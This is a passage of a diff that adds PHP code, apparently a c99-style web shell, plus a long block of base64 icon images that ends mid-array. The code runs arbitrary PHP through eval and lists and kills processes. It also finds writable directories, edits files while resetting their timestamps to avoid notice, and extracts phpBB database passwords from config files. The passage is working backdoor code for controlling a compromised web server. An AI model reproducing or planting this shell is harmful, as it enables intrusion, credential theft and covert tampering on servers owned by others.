    ";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "Already exists: ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "Access denied: ".htmlspecialchars($thedir); } + else { echo "Dir created: ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir: $thedir"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "Writable directories (Max: $arg2) in: $arg1
    "; + echo "
    ";
    +      recurse_dir($arg1,$arg2);
    +      echo "
    "; + $total = $dir_count - 1; + echo "
    Founds: ".$total." of Max $arg2"; + } + else { + echo "
    Directory is not exist or permission denied!
    "; + } + } + else { + if (!$arg1) { echo "
    No operation! Please fill parameter [A]!
    \n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "Result of $fsfunc $arg1:
    "; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "
    ";
    +          foreach ($hasil as $v) { echo $v."\n"; }
    +          echo "
    "; + } + } + else { echo "
    $fsfunc $arg1 failed!
    \n"; } + } + } + echo "
    \n"; +} +if ($act == "processes") { + echo "
    .: Processes :.
    \n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = dQ99exec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = ""; + } + else { + $y = ""; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i].""; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "".$line[0].""; } + $line[] = "KILL"; + $prcs[] = $line; + } + } + } + //For Windows - Fixed By diKi + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = ""; } + else { $y = ""; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i]).""; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "\n"; + foreach($tab as $i=>$k) { + echo ""; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo ""; + } + echo "\n"; + } + echo "
    ".$v."
    "; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:
    "; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + } + else { + if ($eval_txt) { + echo "
    "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "PHP-code Execution (Use without PHP Braces!)"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +if ($act == "f") { + echo "
    "; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} + else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("","info"), + array("","html"), + array("","txt"), + array("Code","code"), + array("Session","phpsess"), + array("","exe"), + array("SDB","sdb"), + array("","img"), + array("","ini"), + array("","download"), + array("","notepad"), + array("","edit") + ); + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + echo "
    "; + if ($ft == "info") { + echo "Information:"; + if (!$win) { + echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
    "; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
    "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
    "; + $a2 .= "
    "; + } + } + echo "". + "". + "". + "". + "
    ".$a0."".$a1."".$a2."

    "; + } + $encoded = ""; + if ($base64 == 1) { + echo "Base64 Encode
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "Base64 Encode + Chunk
    "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "Base64 Encode + Chunk + Quotes
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
    "; + } + if (!empty($encoded)) + { + echo "

    "; + } + echo "HEXDUMP: [Full] [Preview]
    Base64: +
    [Encode + [+chunk + [+chunk+quotes + [Decode +

    "; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {dQ99shexit();} + } + elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} + elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} + elseif ($ft == "phpsess") { + echo "
    ";
    +   $v = explode("|",$r);
    +   echo $v[0]."
    "; + var_dump(unserialize($v[1])); + echo "
    "; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

    Display in text-area
    "; + } + elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "phpBB configuration is detected in this file!
    "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

    ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:
    "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} + echo "

    "; + } + } + echo "
    "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {dQ99shexit();} + echo "
    "; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
    Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

    "; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
      
    "; + } + elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} + else {echo "
    Unknown file type (".$ext."), please select type manually.
    ";} +} +echo "
    \n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGdQChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1dQ19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9dQ7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9dQ////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9dQ01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9dQ01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++dQ/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/dQ6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5dQ4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwdQtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9dQwQEBP///wAAAAAAAAAAAAAAAAAA". 